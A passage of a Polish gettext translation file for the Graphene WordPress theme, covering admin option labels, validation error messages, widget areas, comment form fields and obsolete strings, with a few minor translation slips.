msgstr "BŁĄD: Wpisano zły URL dla ikony social media."

#: admin/options-validator.php:153
msgid "ERROR: Bad URL entered for the social media URL."
msgstr "BŁĄD: Wpisano zły URL odnośnika do social media."

#: admin/options-validator.php:169
msgid "ERROR: Invalid option for the social sharing buttons location."
msgstr "BŁĄD: Wybrano niewłaściwe opcje dla położenia przycisków \"Podziel się\" dla social mediów."

#: admin/options-validator.php:229
msgid "ERROR: Invalid option for the Search box location."
msgstr "BŁĄD: Wybrano niewłaściwe położenie dla pola Szukaj."

#: admin/options-validator.php:234
msgid "ERROR: Invalid option for the column mode."
msgstr "BŁĄD: Wybrano niewłaściwe ustawienia dla ilości kolumn."

#: admin/options-validator.php:235
msgid "ERROR: Invalid option for the bbPress column mode."
msgstr "BŁĄD: Wybrano niewłaściwe ustawienia dla układu kolumn bbPress."

#: admin/options-validator.php:242
#, php-format
msgid "ERROR: Invalid width for %s. Width value must be positive integer without units."
msgstr "BŁĄD: Nieprawidłowa szerokosć dla %s. Szerokość musi zawierać dodatnie liczby całkowite bez jednostek."

#: admin/options-validator.php:250
msgid "ERROR: Invalid option for the post date display."
msgstr "BŁĄD: Wybrano niewłaściwe ustawienia dla wyświetlania daty postu."

#: admin/options-validator.php:316
msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value."
msgstr "BŁĄD: Wartość kolumn wyświetlana w widgecie stopki musi być liczbą całkoowitą."

#: admin/options-validator.php:321
msgid "ERROR: The width of the submenu must be a an integer value."
msgstr "BŁĄD: Szerokość menu pobocznego musi być liczbą całkowitą."

#: admin/options-validator.php:329
msgid "ERROR: Bad URL entered for the favicon URL."
msgstr "BŁĄD: Podano zły URL dla favicon."

#: admin/options-validator.php:343
msgid "ERROR: Invalid action hook selected widget action hooks."
msgstr "BŁĄD: Wybrano niewłaściwy odnośnik dla widget odnośników."

#: admin/options.php:85
#: admin/uninstall.php:23
msgid "Uninstall Graphene"
msgstr "Odinstaluj motyw"

#: admin/options.php:86
msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted."
msgstr "Prosimy o potwierdzenie, że naprawdę chcesz odinstalować motyw Graphene. Wszystkie opcje motywu w bazie danych zostaną skasowane."

#: admin/options.php:87
msgid "This action is not reversible."
msgstr "Ta akcja jest nieodwracalna."

#: admin/options.php:91
#: admin/options.php:347
msgid "Uninstall Theme"
msgstr "Odinstaluj motyw"

#: admin/options.php:105
msgid "Graphene Theme Options"
msgstr "Opcje motywu Graphene"

#: admin/options.php:107
msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages."
msgstr "To są globalne ustawienia motywu. Niektóre z nich mogą być zastąpione poprzez indywidualne ustawienia stron lub wpisów."

#: admin/options.php:115
msgid "General"
msgstr "Ogólne"

#: admin/options.php:116
msgid "Display"
msgstr "Wyświetlanie"

#: admin/options.php:117
msgid "Advanced"
msgstr "Zaawansowane"

#: admin/options.php:156
msgid "Save Options"
msgstr "Zapisz opcje"

#: admin/options.php:168
msgid "Need help?"
msgstr "Potrzebujesz pomocy?"

#: admin/options.php:172
msgid "Documentation Wiki"
msgstr "Dokumentacja Wiki"

#: admin/options.php:173
msgid "Support Forum"
msgstr "Forum Pomocy"

#: admin/options.php:175
#, php-format
msgid "Also, find out how you can %s."
msgstr "Sprawdź również, jak możesz %s."

#: admin/options.php:175
msgid "support the Graphene theme"
msgstr "wspieraj motyw Graphene"

#: admin/options.php:182
msgid "Support the developer"
msgstr "Wsparcie dla twórcy"

#: admin/options.php:185
msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development."
msgstr "Stworzenie tak niesamowitego motywu zajęło wiele wysiłku i pracy, wiele tygodniu bezpłatnej pracy. Jeśli podoba Ci się ten motyw, lub jeśli używasz go do zastosowań komercyjnych, proszę rozważ przekazanie dotacji dla twórcy, aby wesprzeć przyszłe aktualizacje i dalszy rozwój tego motywu."

#: admin/options.php:199
msgid "Graphene Theme news"
msgstr "Graphene nowości"

#: admin/options.php:210
msgid "No news items."
msgstr "Brak nowych obiektów."

#: admin/options.php:227
msgid "Graphene Usage Survey"
msgstr "Ankieta użycia Graphene"

#: admin/options.php:230
msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous."
msgstr "Pomóż nam poznać się lepiej. Weź udział w ankiecie dotyczącej motywu Graphene! Każda opinia się liczy, aby uczynić motyw lepszym. Ankieta jest bardzo krótka i całkowicie anonimowa."

#: admin/options.php:231
msgid "Take the survey"
msgstr "Wypełnij ankietę"

#: admin/options.php:241
msgid "Add-ons and plugins"
msgstr "Dodatki i wtyczki"

#: admin/options.php:244
msgid "Add-ons"
msgstr "Dodatki"

#: admin/options.php:245
msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability."
msgstr "Dodatki nie są dostarczone razem z motywem, ale mogą być zainstalowane oddzielnie, aby rozszerzyć możliwości motywu."

#: admin/options.php:249
msgid "Installed"
msgstr "Zainstalowane"

#: admin/options.php:250
#: admin/options.php:269
msgid "Not installed"
msgstr "Nie zainstalowane"

#: admin/options.php:250
msgid "Learn more"
msgstr "Czytaj więcej"

#: admin/options.php:251
msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices."
msgstr "Rozszerzenie dla telefonów zostało specjalnie zoptymalizowane do wyświetlania Twojej strony na urządzeniach mobilnych takich jak iPhone czy Android."

#: admin/options.php:254
msgid "Plugins"
msgstr "Wtyczki"

#: admin/options.php:255
msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them."
msgstr "Wtyczki na tej liście są domyślnie wspierane przez motyw. Wszystko co musisz zrobić, to zainstalować je i aktywować."

#: admin/options.php:268
msgid "Activated"
msgstr "Aktywowane"

#: admin/options.php:281
msgid "Options Presets"
msgstr "Ustawienia początkowe opcji"

#: admin/options.php:284
msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below."
msgstr "Domyślne ustawienia dla tego stylu są prekonfigurowane do użycia w blogu. Jeśli używasz tej skórki głównie dla normalnej strony, albo chcesz przywrócić jej ustawienia domyślne, możesz zastosować jedną z dostepnych poniżej opcji preustawień."

#: admin/options.php:285
msgid "Note that you can still configure the individual settings after you apply any preset."
msgstr "Pamiętaj, że ciągle możesz konfigurować indywidualne ustawienia po wybraniu dowolnych ustawieć predefiniowanych."

#: admin/options.php:290
msgid "Select Options Preset"
msgstr "Wybierz opcje preustawione"

#: admin/options.php:293
msgid "Normal website"
msgstr "Normalna strona"

#: admin/options.php:296
msgid "Reset to default settings"
msgstr "Użyj ustawień domyślnych"

#: admin/options.php:301
msgid "Apply Options Preset"
msgstr "Zastosuj Opcje Predefiniowane"

#: admin/options.php:311
msgid "Import/export theme options"
msgstr "Imprtuj/Eksportuj opcje theme'a"

#: admin/options.php:315
msgid "Import"
msgstr "Importuj"

#: admin/options.php:318
msgid "Import Theme options"
msgstr "Importuj opcje stylu"

#: admin/options.php:320
msgid "Export"
msgstr "Eksportuj"

#: admin/options.php:324
msgid "Export Theme options"
msgstr "Eksportuj opcje stylu"

#: admin/options.php:327
#, php-format
msgid "Import and export is only available for to users with PHP version 5.2.1 and higher. You are using PHP version %s."
msgstr "Import i eksport jets dostępny tylko dla użytkowników z PHP w wersji 5.2.1 lub wyższej. Używasz wersji PHP %s."

#: admin/options.php:337
msgid "Uninstall theme"
msgstr "Odinstaluj motyw"

#: admin/options.php:340
msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore."
msgstr "<strong>Uważaj!</strong>Odinstalowanie motywu usunie wszystkie opcje motywu z bazy danych. Zrób to tylko jeśli zdecydowałeś/łaś, że nie będziesz już więcej używał/a tego motywu na swoim blogu."

#: admin/options.php:341
msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance &gt; Themes admin page."
msgstr "Jeśli chcesz wypróbować inny motyw, nie ma potrzeby aby odinstalowywać ten motyw. Po prostu uaktywnij inny motyw na stronie Wygląd > Motywy w panelu administracyjnym."

#: admin/options.php:342
msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances &gt; Themes and delete the theme from there."
msgstr "Zauważ, że odinstalowanie tego motywu <strong>nie usunie</strong> plików motywu na serwerze. Aby usunąć pliki, przejdź do Wygląd > Motywy i tam usuń motyw."

#: admin/options.php:359
msgid "The preview will be updated when the \"Save Options\" button above is clicked."
msgstr "Podgląd zostanie uaktualniony, gdy przycisk \"Zapisz opcje\" powyżej zostnie kliknięty."

#: admin/uninstall.php:24
#, php-format
msgid "Theme uninstalled. Redirecting to %s"
msgstr "Theme odinstalowany. Przekierowany do %s"

#: admin/user.php:7
msgid "Graphene-specific User Profile Information"
msgstr "Opcje motywu Graphene specyficzne dla Profilu użytkownika"

#: admin/user.php:8
msgid "The settings defined here are used only with the Graphene theme."
msgstr "Ustawienia zdefiniowane tutaj są używane tylko przez motyw Graphene"

#: admin/user.php:12
msgid "Author profile image URL"
msgstr "URL zdjęcia profilowego autora"

#: admin/user.php:13
msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used."
msgstr "Możesz tutaj określić obraz wyświetlany jako zdjęcie profilowe na stronie Autora. Jeśli nie zdefiniujesz tutaj URLa to zostanie użyty <a href=\"http://www.gravatar.com\">Gravatar</a>"

#: admin/user.php:17
msgid "Please enter the full URL (including <code>http://</code>) to your profile image."
msgstr "Prosimy o wpisanie tutaj URLa (zawierającego<code>http://</code>) do twojego zdjęcia profilowego."

#: admin/user.php:17
msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>."
msgstr "<strong>Ważne: </strong>Szerokość obrazka musi być mniejsza bądź równa <strong>150 px</strong>."

#: admin/js/admin.js.php:47
msgid "Social Media name"
msgstr "Nazwa social media"

#: admin/js/admin.js.php:50
msgid "Name of the social media, e.g. LinkedIn, etc."
msgstr "Nazwa social media, np. LinkedIn, Wykop, etc."

#: admin/js/admin.js.php:54
msgid "Social Media title"
msgstr "Tytuł social media"

#: admin/js/admin.js.php:57
msgid "Title for the social media, leave empty for generated title."
msgstr "Tytuł dla social media. Zostaw puste dla domyślnych tytułów."

#: admin/js/admin.js.php:61
msgid "Social Media profile URL"
msgstr "Adres URL do social media"

#: admin/js/admin.js.php:64
msgid "URL to your page for the social media."
msgstr "URL do Twojej strony na social media."

#: admin/js/admin.js.php:68
msgid "Social Media icon URL"
msgstr "URL ikony social media"

#: admin/js/admin.js.php:71
#, php-format
msgid "URL to the social media icon. Note: the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead."
msgstr "URL ikony social media. <strong>Uwaga:</strong>motyw używa zestawu ikon %s dla social mediów. Proszę, nie hotlinkuj ikon na stronie .Pobierz ikony które potrzebujesz i wyślij ja na swój serwer."

#. translators: %1$s is the comment date, %2$s is the comment time
#: includes/theme-comments.php:34
#, php-format
msgid "%1$s at %2$s"
msgstr "%1$s na %2$s"

#: includes/theme-comments.php:36
msgid "Edit comment"
msgstr "Edytuj komentarz"

#: includes/theme-comments.php:40
msgid "Reply"
msgstr "Odpowiedz"

#: includes/theme-comments.php:51
msgid "Your comment is awaiting moderation."
msgstr "Twój komentarz czeka na sprawdzenie przez moderatora."

#: includes/theme-comments.php:76
msgid "Name:"
msgstr "Imię:"

#: includes/theme-comments.php:81
msgid "Email:"
msgstr "Email:"

#: includes/theme-comments.php:86
msgid "Website:"
msgstr "Strona WWW:"

#: includes/theme-comments.php:100
msgid "Message:"
msgstr "Wiadomość:"

#: includes/theme-functions.php:72
#, php-format
msgid "Follow %s on Twitter"
msgstr "Śledź %s na Twitterze"

#: includes/theme-functions.php:75
#, php-format
msgid "Visit %s's Facebook page"
msgstr "Odwiedź naszą stronę na Facebook'u %s"

#: includes/theme-functions.php:97
#, php-format
msgid "Visit %1$s's %2$s page"
msgstr "Odwiedź stronę %1$s %2$s "

#: includes/theme-loop.php:85
msgid "Continue reading &raquo;"
msgstr "Kontynuuj czytanie &raquo;"

#: includes/theme-loop.php:137
msgid "Older posts &laquo;"
msgstr "Starsze posty &laquo"

#: includes/theme-loop.php:138
msgid "&raquo; Newer posts"
msgstr "&raquo; Brak postów"

#: includes/theme-loop.php:140
msgid "Next page &raquo;"
msgstr "Nastepna strona &raquo;"

#: includes/theme-loop.php:141
msgid "&laquo; Previous page"
msgstr "&laquo; Poprzednia strona"

#: includes/theme-loop.php:221
msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>"
msgstr "<strong>BŁĄD: Musisz przekazać ID wpisu jako argument, aby funkcja  graphene_get_post_image() zwróciła obraz po wywołaniu.</strong>"

#: includes/theme-menu.php:65
msgid "Home"
msgstr "Strona główna"

#: includes/theme-panes.php:93
msgid "Read more"
msgstr "Czytaj więcej"

#: includes/theme-setup.php:80
msgid "Header Menu"
msgstr "Menu nagłówka"

#: includes/theme-setup.php:81
msgid "Secondary Menu"
msgstr "Menu poboczne"

#: includes/theme-setup.php:82
msgid "Footer Menu"
msgstr "Opcje Stopki"

#: includes/theme-setup.php:115
msgid "Header image by Syahir Hakim"
msgstr "Obrazek w nagłówku stworzył Syahir Hakim"

#: includes/theme-setup.php:119
msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu"
msgstr "To jest domyślny obrazek w nagłówku motywu Graphene, wycięty z obrazu  Quantin'a Houyoux'a na sxc.hu"

#: includes/theme-setup.php:123
#: includes/theme-setup.php:127
#: includes/theme-setup.php:131
#: includes/theme-setup.php:135
#: includes/theme-setup.php:139
msgid "Header image cropped from image by Ilco at sxc.hu"
msgstr "Obrazek w nagłówku wycięty z obrazu Ilco na sxc.hu"

#: includes/theme-setup.php:194
msgid "Sidebar Widget Area"
msgstr "Obszar Widget'ów kolumnowych"

#: includes/theme-setup.php:196
msgid "The first sidebar widget area (will always be displayed on the right hand side)."
msgstr "Pierwszy pasek boczny widget( będzie zawsze wyświetlany tylko po prawej stronie)."

#: includes/theme-setup.php:203
msgid "Sidebar Two Widget Area"
msgstr "Pasek boczny dwóch widget"

#: includes/theme-setup.php:205
msgid "The second sidebar widget area (will always be displayed on the left hand side)."
msgstr "Drugi pasek boczny widget ( będzie zawsze wyświetlany tylko po lewej stronie)."

#: includes/theme-setup.php:212
msgid "Footer Widget Area"
msgstr "Obszar na Widget'y w Stopce"

#: includes/theme-setup.php:214
msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Obszar na widget'y w stopce. Pozostaw pusty, aby go wyłączyć. Liczbę wyświetlanych kolumn można ustawić w Opcjach Motywu w części dotyczącej wyświetlania stron."

#: includes/theme-setup.php:229
msgid "Front Page Sidebar Widget Area"
msgstr "Obszar Widget'ów kolumnowych na stronie głównej"

#: includes/theme-setup.php:231
msgid "The first sidebar widget area that will only be displayed on the front page."
msgstr "Pierwszy pasek boczny widget będzie wyświetlany tylko na stronie głównej."

#: includes/theme-setup.php:238
msgid "Front Page Sidebar Two Widget Area"
msgstr "Pasek boczny dwóch widget na stronie głównej"

#: includes/theme-setup.php:240
msgid "The second sidebar widget area that will only be displayed on the front page."
msgstr "Drugi pasek boczny widget, które będą wyświatlane tylko na stronie głównej."

#: includes/theme-setup.php:249
msgid "Front Page Footer Widget Area"
msgstr "Obszar na widget'y w stopce strony głównej"

#: includes/theme-setup.php:251
msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Obszar na widget'y w stopce strony głównej. Pozostaw pusty, aby go wyłączyć. Liczbę wyświetlanych kolumn można ustawić w Opcjach Motywu w części dotyczącej wyświetlania stron."

#: includes/theme-setup.php:261
msgid "Header Widget Area"
msgstr "Obszar widgetu nagłówka"

#: includes/theme-setup.php:263
msgid "The header widget area."
msgstr "Obszar widgetu nagłówka."

#: includes/theme-setup.php:280
#, php-format
msgid "Dynamically added widget area. This widget area is attached to the %s action hook."
msgstr "Dynamicznie dodawany obszar widget.  Obszar ten widget jest dołączony do %s"

#: includes/theme-slider.php:115
#: includes/theme-slider.php:143
msgid "View full post"
msgstr "Zobacz cały wpis"

#: includes/theme-widgets.php:14
msgid "Display the latest Twitter status updates."
msgstr "Wyświetlaj najnowsze aktualizacje statusu Twitter."

# dosłownie:
# Ostatnie świergoty/ćwierkania
#: includes/theme-widgets.php:46
msgid "Loading tweets..."
msgstr "Ładowanie tweetów..."

#: includes/theme-widgets.php:50
msgid "Follow me on Twitter"
msgstr "Śledź mnie na Twitterze"

#: includes/theme-widgets.php:60
msgid "follower"
msgstr "obserwujący"

#: includes/theme-widgets.php:61
msgid "followers"
msgstr "obserwujących"

# dosłownie:
# Ostatnie świergoty/ćwierkania
#: includes/theme-widgets.php:93
msgid "Latest tweets"
msgstr "Ostatnie tweet'y"

#: includes/theme-widgets.php:100
msgid "Title:"
msgstr "Tytuł:"

#: includes/theme-widgets.php:104
msgid "Twitter Username:"
msgstr "Login na Twitterze:"

# tweet - świegot, ćwierkanie (np. ptaków)
#: includes/theme-widgets.php:108
msgid "Number of tweets to display:"
msgstr "Liczba tweetów do wyświetlenia:"

#: includes/theme-widgets.php:112
msgid "Show followers count"
msgstr "Pokaż licznik obserwujących"

#: includes/theme-widgets.php:116
msgid "Open links in new window"
msgstr "Otwieraj linki w nowym oknie"

#~ msgid "% comments"
#~ msgstr "% komentarzy"

#~ msgid "% pings"
#~ msgstr "% ping"

#~ msgid "says:"
#~ msgstr "pisze:"

#~ msgid ""
#~ "The first sidebar widget area (available in two and three column layouts)."
#~ msgstr ""
#~ "Pierwszy pasek boczy widget (dostępny tylko w dwu i trójkolumnowym stylu)."

#~ msgid ""
#~ "The second sidebar widget area (only available in three column layouts)."
#~ msgstr "Drugi pasek boczny widget( dostępny tylko w trójkolumnowym stylu)."

#~ msgid "by"
#~ msgstr "przez"

#~ msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> "
#~ msgstr "<div class=\"link-pages\"><p><strong>Strony:</strong> "

#~ msgid "Show Creative Commons logo"
#~ msgstr "Pokaż logo Creative Commons "

#~ msgid "Show post author's gravatar"
#~ msgstr "Pokaż gravatar autora wpisu"

#~ msgid "Valid XHTML 1.0 Strict"
#~ msgstr "Valid XHTML 1.0 Strict"

#~ msgid "Valid CSS"
#~ msgstr "Valid CSS"

#~ msgid "Valid CSS Level 2.1"
#~ msgstr "Valid CSS Level 2.1"

#~ msgid "%1$s uses %2$s theme by %3$s."
#~ msgstr "%1$s używa motywu %2$s stworzonego przez %3$s."

#~ msgid "Feed Options"
#~ msgstr "Opcje Kanału RSS"

#~ msgid "No comment yet"
#~ msgstr "Brak komentarzy"

#~ msgid "No ping yet"
#~ msgstr "Brak pingów"

#~ msgid ""
#~ "Please enter only numerical value for the footer widget column count."
#~ msgstr ""
#~ "Proszę podać tylko wartości liczbowe dla liczby kolumn footer widget. "

#~ msgid ""
#~ "Please enter only numerical value for the front page footer widget column "
#~ "count."
#~ msgstr ""
#~ "Proszę podać tylko wartości liczbowe dla liczby kolumn footer widget  na "
#~ "stronie głównej"

#~ msgid ""
#~ "Please enter only numerical value for the navigation menu dropdown item "
#~ "width."
#~ msgstr ""
#~ "Proszę podać tylko wartości liczbowe dla ustalenie szerokości menu "
#~ "nawigacji."

#~ msgid "Graphene Display Options"
#~ msgstr "Opcje wyświetlania Graphene"

#~ msgid "ERROR:"
#~ msgstr "BŁĄD:"

#~ msgid "Sidebar Options"
#~ msgstr "Sidebar opcje"

#~ msgid "Content sidebar location"
#~ msgstr "Położenie panela bocznego"

#~ msgid "Right"
#~ msgstr "Prawy"

#~ msgid "Left"
#~ msgstr "Lewy"

#~ msgid ""
#~ "Will cause all posts and pages to be displayed in a single-column layout."
#~ msgstr ""
#~ "Spowoduje, że wszystkie posty i strony będą wyświetlane w jednej kolumnie."

#~ msgid "Show post year"
#~ msgstr "Pokaż rok publikacji postu"

#~ msgid "Only works if the option \"Hide post date\" is disabled."
#~ msgstr "Działa tylko, gdy opcja \"Ukryj datę postów\" jest wyłączona."

#~ msgid ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"
#~ msgstr ""
#~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, "
#~ "<code>'Trebuchet MS'</code>"

#~ msgid "<code>12px</code>, <code>12pt</code>, <code>12em</code>"
#~ msgstr "<code>12px</code>, <code>12pt</code>, <code>12em</code>"

#~ msgid ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"
#~ msgstr ""
#~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>"

#~ msgid " <code>normal</code>, <code>italic</code>, <code>oblique</code>"
#~ msgstr "<code>normal</code>, <code>italic</code>, <code>oblique</code>"

#~ msgid ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"
#~ msgstr ""
#~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</"
#~ "code>"

#~ msgid ""
#~ "If this is checked, the website title will be displayed first, followed "
#~ "by the page title."
#~ msgstr ""
#~ "Jeżeli zaznaczysz tutaj, to tytuł witryny będzie wyświetlany przed "
#~ "tytułem strony."

#~ msgid "Update Settings"
#~ msgstr "Uaktualnij ustawienia"

#~ msgid "You must enter your Adsense code to enable Adsense advertising"
#~ msgstr "Musisz podać swój kod Adsense, aby włączyć reklamy Adsense"

#~ msgid ""
#~ "You must enter your AddThis button code to enable the AddThis social "
#~ "sharing button"
#~ msgstr "Musisz podać swój kod AddThis, aby włączyć guzik AddThis"

#~ msgid ""
#~ "You must enter your Google Analytics tracking code to enable Google "
#~ "Analytics tracking."
#~ msgstr ""
#~ "Musisz podać swój kod Google Analytics, aby włączyć śledzenie Google "
#~ "Analytics"

#~ msgid ""
#~ "This setting only affects the slider if \"Show latest posts\" is selected "
#~ "above."
#~ msgstr ""
#~ "To ustawienie będzie miało wpływ na obszar slider tylko jeśli wybrano "
#~ "\"Najnowsze wpisy\" powyżej."

#~ msgid "AddThis Options"
#~ msgstr "Opcje AddThis"

#~ msgid "Your AddThis button code"
#~ msgstr "Twój kod przycisków AddThis"

#~ msgid ""
#~ "You can generate your button code from the <a href=\"http://www.addthis."
#~ "com/\">AddThis website</a>."
#~ msgstr ""
#~ "Możesz wygenerować kod swoich przycisków na <a href=\"http://www.addthis."
#~ "com/\">Witrynie AddThis</a>"